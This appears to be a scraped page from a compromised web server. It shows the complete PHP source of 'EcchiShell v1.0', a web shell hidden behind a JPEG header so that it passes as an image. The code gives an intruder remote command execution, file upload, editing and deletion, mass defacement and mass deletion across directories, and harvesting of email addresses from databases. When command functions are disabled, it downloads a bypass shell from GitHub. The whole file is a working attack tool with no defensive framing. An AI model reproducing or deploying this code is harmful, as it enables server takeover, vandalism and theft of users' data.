Server IP : 103.11.96.170 / Your IP : 3.17.154.155 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/elibrary/../fo/public/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
���� JFIF �� <?php header('User-Agent:' . randomagent()); header("X-XSS-Protection: 0"); define('version', '1.0'); define('author', './EcchiExploit'); set_time_limit(0); @clearstatcache(); @error_reporting(0); @ini_set('max_execution_time', 0); @ini_set('output_buffering', 0); @ini_set('error_log', null); @ini_set('log_errors', 0); @ini_set('display_errors', 0); if (version_compare(PHP_VERSION, '5.3.0', '<')) { @set_magic_quotes_runtime(0); } else { ini_set('magic_quotes_runtime', 0); } if (version_compare(PHP_VERSION, '8.0.0', '<')) { if (get_magic_quotes_gpc()) { function ecchi($array) { return is_array($array) ? array_map('ecchi', $array) : stripslashes($array); } $_POST = ecchi($_POST); } } function w($dir, $perm) { if (!is_writable($dir)) { return "<p class='text-danger'>" . $perm . "</p>"; } else { return "<p class='text-warning'>" . $perm . "</p>"; } } function r($dir, $perm) { if (!is_readable($dir)) { return "<p class='text-danger'>" . $perm . "</p>"; } else { return "<p class='text-warning'>" . $perm . "</p>"; } } function randomagent() { $useragent[] = 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $useragent[] = 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 '; $getuseragent = array_rand($useragent); return $useragent[$getuseragent]; } function massdeface($dir, $file, $filename, $type = null) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === "." || $dir_ === "..") { file_put_contents($location, $file); } else { if (is_dir($path) and is_writable($path)) { echo $location . PHP_EOL; file_put_contents($location, $file); if ($type === "-alldir") { massdeface($path, $file, $filename, "-alldir"); } } } } } function massdelete($dir, $filename) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === '.') { if (file_exists("$dir/$filename")) { unlink("$dir/$filename"); } } elseif ($dir_ === '..') { if (file_exists(dirname($dir) . "/$filename")) { unlink(dirname($dir) . "/$filename"); } } else { if (is_dir($path) and is_writable($path)) { if (file_exists($location)) { print "[ DELETED ] " . $location . PHP_EOL; unlink($location); massdelete($path, $filename); } } } } } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function getexist() { if (function_exists('exec')) { $disable = 'Enable'; } else if (function_exists('shell_exec')) { $disable = 'Enable'; } else if (function_exists('system')) { $disable = 'Enable'; } else if (function_exists('passthru')) { $disable = 'Enable'; } else { $disable = 'Disable'; } return $disable; } function seorank($url) { $setopt = array( CURLOPT_URL => 'https://www.checkmoz.com/bulktool', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => "getStatus=1&siteID=1&sitelink=$url&da=1&pa=1&alexa=1" ); $ch = curl_init(); curl_setopt_array($ch, $setopt); return curl_exec($ch); curl_close($ch); } function getact($dir, $file, $label) { ?> <label for="<?= $label ?>" class="font-weight-bold"> Filename : <span class="text-secondary"><?= basename($file) ?></span> [ <a class="text-white" href="?act=view&dir=<?= "$dir&file=" . $file ?>">view</a> ] [ <a class="text-white" href="?act=edit&dir=<?= "$dir&file=" . $file ?>"><b>edit</b></a> ] [ <a class="text-white" href="?act=rename&dir=<?= "$dir&file=" . $file ?>">rename</a> ] [ <a class="text-white" href="?act=download&dir=<?= "$dir&file=" . $file ?>">download</a> ] [ <a class="text-white" href="?act=delete&dir=<?= "$dir&file=" . $file ?>">delete</a> ] </label> <?php } function shell() { if (isset($_GET['dir'])) { $dir = htmlspecialchars($_GET['dir']); chdir($dir); } else { $dir = getcwd(); } $dir = str_replace("\\", "/", $dir); $scdir = explode("/", $dir); $scandir = scandir($dir); $disable = @ini_get('disable_functions'); $disable = (!empty($disable)) ? "<font class='text-warning'>$disable</font>" : '<font class="text-dark">NONE</font>'; $os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux"; $checkrdp = ($os !== 'Windows' && getexist() !== 'Disable') ? "Can't Create RDP" : 'Vuln To Create RDP'; $rank = seorank($_SERVER['SERVER_NAME']); $getrank = preg_match_all('/(.*?)<\/td>/', $rank, $get); $check = preg_replace('/<td>/', '', $get[1]); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="keywords" content="<?= author ?>"> <meta name="author" content="<?= author ?>"> <meta name="description" content="Priv Shell"> <meta name="robots" content="noindex, nofollow"> <link rel="icon" href="https://1.bp.blogspot.com/-Q4FzNb_oemU/XZ_a4WzmgNI/AAAAAAAAAZg/udnrGlkAkV0NYh-rDTC-VB64rimuu5VtQCK4BGAYYCw/s1600/IMG-20190901-WA0263.jpg" type="image/png"> <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.15.3/css/all.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css" integrity="sha384-B0vP5xmATw1+K9KRQjQERJvTumQW0nPEzvF6L/Z6nronJ3oUOFUFpCjEUQouq2+l" crossorigin="anonymous"> <title>EcchiShell v1.0</title> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script> </head> <style type="text/css"> #btn-back-to-top { position: fixed; bottom: 20px; right: 20px; display: none; } </style> <body class="bg-info"> <nav class="navbar navbar-expand-md bg-dark navbar-dark"> <a class="navbar-brand" href="<?= $_SERVER['PHP_SELF'] ?>"> <img src="https://1.bp.blogspot.com/-Q4FzNb_oemU/XZ_a4WzmgNI/AAAAAAAAAZg/udnrGlkAkV0NYh-rDTC-VB64rimuu5VtQCK4BGAYYCw/s1600/IMG-20190901-WA0263.jpg" alt="logo" style="width: 150px"> </a> <button class="navbar-toggler" data-toggle="collapse" data-target="#collapsibleNavbar" aria-controls="collapsibleNavbar" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="collapsibleNavbar"> <ul class="navbar-nav"> <li class="nav-item"> <button class="btn btn-outline-secondary border-0"> <a class="nav-link" href="<?= "?dir=$dir&opt=upload" ?>">Upload File</a> </button> </li> <li class="nav-item"> <button class="btn btn-outline-secondary border-0"> <a class="nav-link" data-toggle="collapse" href="#info" role="button" data-target="#info" aria-expanded="false" aria-controls="info">System Info</a> </button> </li> <li class="nav-item"> <button class="btn btn-outline-secondary border-0"> <a class="nav-link" data-toggle="collapse" href="#tool" role="button" data-target="#tool" aria-expanded="false" aria-controls="tool">Tool</a> </button> </li> </ul> </div> </nav> <div class="container"> <div class="row justify-content-center mt-5"> <div class="md-4"> <label for="dir" class="font-weight-bold text-dark">You In Here :</label> <?php foreach ($scdir as $c_dir => $cdir) { echo "<a class='font-weight-bold text-warning' id='dir' href='?dir="; for ($i = 0; $i <= $c_dir; $i++) { echo $scdir[$i]; if ($i != $c_dir) { echo "/"; } } echo "'>$cdir</a>/"; } ?> <div class="collapse multi-collapse p-3" id="tool"> <div class="card card-body bg-dark text-center"> <p> <a class="btn btn-outline-info text-white" href="<?= "?dir=$dir&opt=mass" ?>"> <i class="fad fa-clone"></i> Mass Deface </a> <a class="btn btn-outline-info text-white" href="<?= "?dir=$dir&opt=email" ?>"> <i class="fad fa-mail-bulk"></i> Email Grabber </a> </p> <p> <a class="btn btn-outline-info text-white" href="<?= "?dir=$dir&opt=cmd" ?>"> <i class="fad fa-terminal"></i> Command Shell </a> </p> </div> </div> <div class="collapse multi-collapse p-3" id="info"> <div class="card card-body"> <div class="font-weight-bold text-info"> <p>Shell Version : <span class="text-dark"><?= version ?></span></p> <p> Rank Alexa : <span class="text-dark"><?= $check[4] ?></span> DA : <span class="text-dark"><?= $check[2] ?></span> PA : <span class="text-dark"><?= $check[3] ?></span> </p> <p>OS : <span class="text-dark"><?= $os ?></span></p> <p>RDP : <span class="text-dark"><?= $checkrdp ?></span></p> <p>PHP Version : <span class="text-dark"><?= PHP_VERSION ?></span></p> <p>Software : <span class="text-dark"><?= $_SERVER['SERVER_SOFTWARE'] ?></span></p> <p>Information System : <span class="text-dark"><?= php_uname() ?></span></p> <p>Disable Function : <span class="text-wrap"><?= $disable ?></span></p> </div> </div> </div> <button type="button" class="btn btn-danger btn-floating btn-lg" id="btn-back-to-top" role="button"> <i class="fas fa-chevron-up"></i> </button> </div> </div> <?php if ($_GET['opt'] == 'upload') { $act = 'Chose File To Upload!!'; if ($_POST['upload']) { if ($_POST['type_upload'] == 'noroot') { if (@copy($_FILES['ecchifile']['tmp_name'], "$dir/" . $_FILES['ecchifile']['name'])) { $act = "Uploaded! at <i><b>$dir/" . $_FILES['ecchifile']['name'] . "</b></i>"; } else { $act = "failed to upload file"; } } else { $root = $_SERVER['DOCUMENT_ROOT'] . "/" . $_FILES['ecchifile']['name']; $web = $_SERVER['HTTP_HOST'] . "/" . $_FILES['ecchifile']['name']; if (is_writable($_SERVER['DOCUMENT_ROOT'])) { if (@copy($_FILES['ecchifile']['tmp_name'], $root)) { $act = "Uploaded! at <i><b>$root -> </b></i><a class='font-weight-bold' href='http://$web' target='_blank'>$web</a>"; } else { $act = "failed to upload file"; } } } } ?> <div class="row justify-content-center mt-0 p-3"> <div class="md-4"> <div class="card text-center bg-white border-0"> <div class="header"> <h5>Upload File</h5> </div> <div class="card-body bg-dark text-white"> <form method="POST" enctype="multipart/form-data"> <div class="form-check form-check-inline"> <input type="radio" name="type_upload" value="noroot" class="form-check-input" id="noroot" checked> <label class="form-check-label" for="noroot">noroot <?= w($dir, "Writeable") ?></label> </div> <div class="form-check form-check-inline"> <input type="radio" name="type_upload" value="root" class="form-check-input" id="root"> <label class="form-check-label" for="root">root <?= w($_SERVER['DOCUMENT_ROOT'], "Writeable") ?></label> </div> <div class="row form-group mx-lg-n5"> <input type="file" name="ecchifile" class="col form-control-file py-3 px-lg-5"> </div> <div class="form-group"> <input type="submit" id="upload" name="upload" class="btn btn-outline-primary form-control" value="Submit"> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <p class="text-wrap"><?= $act ?></p> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> </div> </div> </div> </div> <?php } else if ($_GET['opt'] == 'mass') { if ($_POST['mass_type'] === 'singledir') { ?> <div class="form-group"> <textarea class="form-control"><?= massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']); ?></textarea> </div> <?php } elseif ($_POST['mass_type'] === 'alldir') { ?> <div class="form-group"> <textarea class="form-control" rows="5"><?= massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir") ?></textarea> </div> <?php } elseif ($_POST['mass_type'] === "delete") { ?> <div class="form-group"> <textarea class="form-control" rows="5"><?= massdelete($_POST['d_dir'], $_POST['d_file']); ?></textarea> </div> <?php } ?> <form method="POST"> <div class="form-group"> <div class="mb-3"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="filname">Filename</label> </div> <input class="form-control" type="text" name="d_file" id="filname" value="index.php" placeholder="Filename" spellcheck="false"> </div> </div> </div> <div class="form-group"> <div class="mb-3"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="dir">Directory</label> </div> <input class="form-control" type="text" name="d_dir" id="dir" value="<?= $dir ?>" placeholder="Filename"> </div> </div> </div> <div class="form-group"> <div class="mb-3"> <textarea class="form-control" name="script" placeholder="Hacked By ./EcchiExploit" rows="5"></textarea> </div> </div> <div class="form-group"> <div class="mb-3"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="tipemass">Type Mass</label> </div> <select class="custom-select" name="mass_type" id="tipemass" required> <option value="">Choose...</option> <option value="singledir">Single Dir</option> <option value="alldir">ALL Dir</option> <option value="delete">Mass Delete</option> </select> <div class="invalid-feedback"> Please Chose... </div> </div> </div> </div> <div class="form-group"> <button type="submit" class="btn btn-light form-control">Submit</button> </div> </form> <?php } else if ($_GET['opt'] == 'email') { ?> <div class="row justify-content-center mt-0 p-1"> <div class="md-0"> <div class="card card-body bg-dark"> <form method="POST"> <div class="mb-3"> <div class="form-group"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="host">Hostname</label> </div> <input type="text" class="form-control" id="host" name="hostname" placeholder="hostname" required> </div> </div> </div> <div class="mb-3"> <div class="form-group"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="user">Username</label> </div> <input type="text" class="form-control" id="user" name="user" placeholder="username" required> </div> </div> </div> <div class="mb-3"> <div class="form-group"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="pass">Password</label> </div> <input type="text" class="form-control" id="pas" name="pass" placeholder="password"> </div> </div> </div> <div class="mb-3"> <div class="form-group"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="db">Database</label> </div> <input type="text" class="form-control" id="db" name="database" placeholder="dbname (opsional)"> </div> </div> </div> <div class="form-group"> <button class="btn btn-outline-info form-control" type="submit">Grabber!!</button> </div> </form> <div class="form-group"> <?php if (isset($_POST['database'])) { $hostname = htmlspecialchars($_POST['hostname']); $user = htmlspecialchars($_POST['user']); $pass = htmlspecialchars($_POST['pass']); $conn = mysqli_connect($hostname, $user, $pass); if (!$conn) { die('<p class="text-white">Connect Database Error : ' . mysqli_connect_error() . '</p>'); } $query1 = mysqli_query($conn, 'show databases'); while ($row = mysqli_fetch_array($query1)) { $query2 = mysqli_query($conn, 'show tables from ' . $row['Database']); while ($tables = mysqli_fetch_array($query2)) { $query3 = mysqli_query($conn, 'show columns from ' . $row['Database'] . '.' . $tables['Tables_in_' . $row['Database']] . ' in ' . $row['Database']); while ($columns = mysqli_fetch_array($query3)) { if (preg_match('/email/', $columns['Field'])) { $end_query = 'select ' . $columns['Field'] . ' from ' . $row['Database'] . '.' . $tables['Tables_in_' . $row['Database']]; $final_connect_query = mysqli_query($conn, $end_query); if (mysqli_num_rows($final_connect_query) > 0) { echo '<textarea class="form-control" rows="5">'; while ($email = mysqli_fetch_array($final_connect_query)) { if (strstr($email[$columns['Field']], "@")) { echo $email[$columns['Field']] . PHP_EOL; } } echo '</textarea>'; } } } } } } ?> </div> </div> </div> </div> <?php } else if ($_GET['opt'] == 'cmd') { ?> <div class="row justify-content-center p-2"> <div class="md-0"> <div class="card card-body"> <form method="POST"> <div class="mb-3"> <div class="form-group"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="cmd">Command</label> </div> <input type="text" class="form-control" id="cmd" name="command" placeholder="Your Command" value="uname -a"> </div> </div> </div> <div class="form-group"> <button type="submit" class="btn btn-info form-control">Submit</button> </div> </form> <?php if (isset($_POST['command'])) { $cmd = htmlspecialchars($_POST['command']); if (getexist() == 'Disable') { mkdir('bypass-disable'); $file = fopen('bypass-disable/bypass.php', 'w'); fwrite($file, file_get_contents('https://raw.githubusercontent.com/l3m0n/Bypass_Disable_functions_Shell/master/shell.php')); fclose($file); echo ' <label class="text-info" for="result">Result Disable And To Bypass Disable Function :</label> <div class="embed-responsive embed-responsive-16by9 form-group"> <iframe id="result" class="form-control embed-responsive-item" src="bypass-disable/bypass.php"></iframe> </div> '; } else { ?> <div class="mb-3"> <div class="input-group is-invalid"> <div class="input-group-prepend"> <label class="input-group-text" for="filname">Result</label> </div> <textarea class="form-control text-dark font-weight-bold" rows="5"><?= shell_exec($cmd) ?></textarea> </div> </div> <?php } } ?> </div> </div> </div> <?php } if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else if ($_GET['act'] == 'edit') { $act = 'Edit Your File'; if ($_POST['src']) { $save = file_put_contents($_GET['file'], $_POST['src']); if ($save) { $act = "Saved!"; } else { $act = "permission denied"; } } ?> <form method="POST"> <div class="form-group"> <?= getact($dir, $_GET['file'], 'textarea') ?> <textarea class="form-control bg-dark text-danger border-0" spellcheck="false" name="src" id="textarea" rows="10"><?= htmlspecialchars(@file_get_contents($_GET['file'])) ?></textarea> </div> <div class="form-group"> <button type="submit" class="btn btn-light form-control">Save</button> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> <?php } else if ($_GET['act'] == 'rename') { $act = 'Rename File'; if ($_POST['rename']) { $rename = rename($_GET['file'], "$dir/" . htmlspecialchars($_POST['rename'])); if ($rename) { $act = "<script>window.location='?dir=" . $dir . "';</script>"; } else { $act = "permission denied"; } } ?> <form method="POST"> <div class="form-group"> <?= getact($dir, $_GET['file'], 'rename') ?> <input id="rename" type="text" name="rename" class="form-control bg-dark text-danger border-0" value="<?= basename($_GET['file']) ?>"> </div> <div class="form-group"> <button class="btn btn-light form-control">Rename</button> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> <?php } else if ($_GET['act'] == 'rename_dir') { $act = 'Rename Directory'; if ($_POST['rename_dir']) { $dir_rename = rename($dir, "" . dirname($dir) . "/" . htmlspecialchars($_POST['rename_dir']) . ""); if ($dir_rename) { $act = "Rename Dir Success<script>window.location='?dir=" . dirname($dir) . "';</script>"; } else { $act = "permission denied"; } } ?> <form method="POST"> <div class="form-group"> <input name="rename_dir" type="text" class="form-control bg-dark text-danger border-0" value="<?= basename($dir) ?>"> </div> <div class="form-group"> <button class="btn btn-light form-control">Rename</button> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> <?php } else if ($_GET['act'] == 'delete_dir') { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @exec("rm -rf $dir"); @exec("rmdir /s /q $dir"); $act = "Delete Success<script>window.location='?dir=" . dirname($dir) . "';</script>"; } else { $act = "could not remove " . basename($dir); } } ?> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <?php } else if ($_GET['act'] == 'delete') { $delete = unlink($_GET['file']); if ($delete) { $act = "Success Delete File<script>window.location='?dir=" . $dir . "';</script>"; } else { $act = "permission denied"; } ?> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <?php } else if ($_GET['act'] == 'newfolder') { $act = 'Create New Folder'; if ($_POST['new_folder']) { $newfolder = $dir . '/' . htmlspecialchars($_POST['new_folder']); if (!mkdir($newfolder)) { $act = "permission denied"; } else { $act = "Success Create Folder<script>window.location='?dir=" . $dir . "';</script>"; } } ?> <form method="POST"> <div class="form-group"> <input type="text" name="new_folder" class="form-control" placeholder="name folder" required> </div> <div class="form-group"> <button type="submit" class="btn btn-light form-control">Submit</button> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> <?php } else if ($_GET['act'] == 'newfile') { $act = 'Create New File'; if ($_POST['new_file']) { $newfile = htmlspecialchars($_POST['new_file']); $fopen = fopen($newfile, "a+"); if ($fopen) { $act = "Success Create File<script>window.location='?act=edit&dir=" . $dir . "&file=" . $_POST['new_file'] . "';</script>"; } else { $act = "permission denied"; } } ?> <form method="POST"> <div class="form-group"> <input type="text" name="new_file" class="form-control" placeholder="name file" value="<?= "$dir/newfile.php" ?>" required> </div> <div class="form-group"> <button type="submit" class="btn btn-light form-control">Submit</button> </div> <div class="alert alert-info alert-dismissible fade show" role="alert"> <strong><?= $act ?></strong> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> </form> <?php } else if ($_GET['act'] == 'view') { ?> <div class="form-group"> <?= getact($dir, $_GET['file'], 'file') ?> <textarea class="form-control bg-dark text-danger border-0" id="file" rows="5" readonly><?= htmlspecialchars(@file_get_contents($_GET['file'])) ?></textarea> </div> <?php } if (is_dir($dir) == true) { if (!is_readable($dir)) { echo "<p class='font-weight-bold text-danger'>can't open directory. ( not readable )</p>"; } else { ?> <div class="table-responsive"> <table class="table table-bordered table-striped table-hover"> <thead class="thead-dark text-center"> <tr> <th>Name</th> <th>Filetype</th> <th>Perm</th> <th>Option</th> </tr> </thead> <tbody class="font-weight-bold border-dark"> <?php foreach ($scandir as $direc) { $dtype = filetype("$dir/$direc"); if ($direc === '..') { $href = "<a class='text-white' href='?dir=" . dirname($dir) . "'>$direc</a>"; } elseif ($direc === '.') { $href = "<a class='text-white' href='?dir=$dir'>$direc</a>"; } else { $href = "<a class='text-white' href='?dir=$dir/$direc'>$direc</a>"; } if ($direc === '.' || $direc === '..') { $act_dir = "<a class='text-decoration-none text-dark' href='?act=newfile&dir=$dir'>newfile</a> | <a class='text-decoration-none text-dark' href='?act=newfolder&dir=$dir'>newfolder</a>"; } else { $act_dir = "<a class='text-decoration-none text-dark' href='?act=rename_dir&dir=$dir/$direc'>rename</a> | <a class='text-decoration-none text-dark' href='?act=delete_dir&dir=$dir/$direc'>delete</a>"; } if (!is_dir("$dir/$direc")) continue; ?> <tr><td class="border-dark"> <i class="far fa-folder"></i> <?= $href ?> </td> <td class="border-dark text-center"><?= $dtype ?></td> <td class="border-dark text-center"><?= w("$dir/$direc", perms("$dir/$direc")) ?></td> <td class="border-dark text-danger"><?= $act_dir ?></td> </tr> <?php } } } else { echo "<p class='font-weight-bold text-danger'>can't open directory.</p>"; } foreach ($scandir as $file) { $infoext = pathinfo($file); $ftype = filetype("$dir/$file"); if ($infoext['extension'] == 'php') { $i = '<i class="fab fa-php"></i>'; $ftype = 'php'; } else if ($infoext['extension'] == 'html' || $infoext['extension'] == 'htm') { $i = '<i class="fab fa-html5"></i>'; $ftype = 'html'; } else if ($infoext['extension'] == 'zip' || $infoext['extension'] == 'rar') { $i = '<i class="fas fa-file-archive"></i>'; $ftype = ($infoext['extension'] == 'zip') ? 'zip' : 'rar'; } else if ($infoext['extension'] == 'jpg' || $infoext['extension'] == 'jpeg' || $infoext['extension'] == 'png') { $i = '<i class="fas fa-file-image"></i>'; $ftype = 'image'; } else if ($infoext['extension'] == 'txt') { $i = '<i class="far fa-file-code"></i>'; $ftype = 'text file'; } else if ($infoext['extension'] == 'css') { $i = '<i class="fab fa-css3-alt"></i>'; $ftype = 'css'; } else if ($infoext['extension'] == 'js') { $i = '<i class="fab fa-js-square"></i>'; $ftype = 'js'; } else if ($infoext['extension'] == 'doc' || $infoext['extension'] == 'docx') { $i = '<i class="fab fa-js-square"></i>'; $ftype = ($infoext['extension'] == 'doc') ? 'doc' : 'docx'; } else if ($infoext['extension'] == 'pdf') { $i = '<i class="fas fa-file-pdf"></i>'; $ftype = 'pdf'; } else if ($infoext['extension'] == 'py') { $i = '<i class="fab fa-python"></i>'; $ftype = 'python'; } else if ($infoext['extension'] == 'mp4' || $infoext['extension'] == 'mp3') { $i = ($infoext['extension'] == 'mp4') ? '<i class="fas fa-file-video"></i>' : '<i class="fas fa-file-audio"></i>'; $ftype = ($infoext['extension'] == 'mp4') ? 'video' : 'audio'; } else if ($infoext['extension'] == 'htaccess' || $infoext['extension'] == 'ini') { $i = '<i class="fas fa-cog"></i>'; $ftype = ($infoext['extension'] == 'htaccess') ? 'htaccess' : 'configuration file'; } else { $i = '<i class="fas fa-file"></i>'; } if (!is_file("$dir/$file")) continue; ?> <tr> <td class="border-dark"> <?= $i ?> <a class="text-white" href="?act=view&dir=<?= "$dir&file=$dir/$file" ?>"><?= $file ?></a> </td> <td class="border-dark text-center"><?= $ftype ?></td> <td class="border-dark text-center"><?= w("$dir/$file", perms("$dir/$file")) ?></td> <td class="text-danger 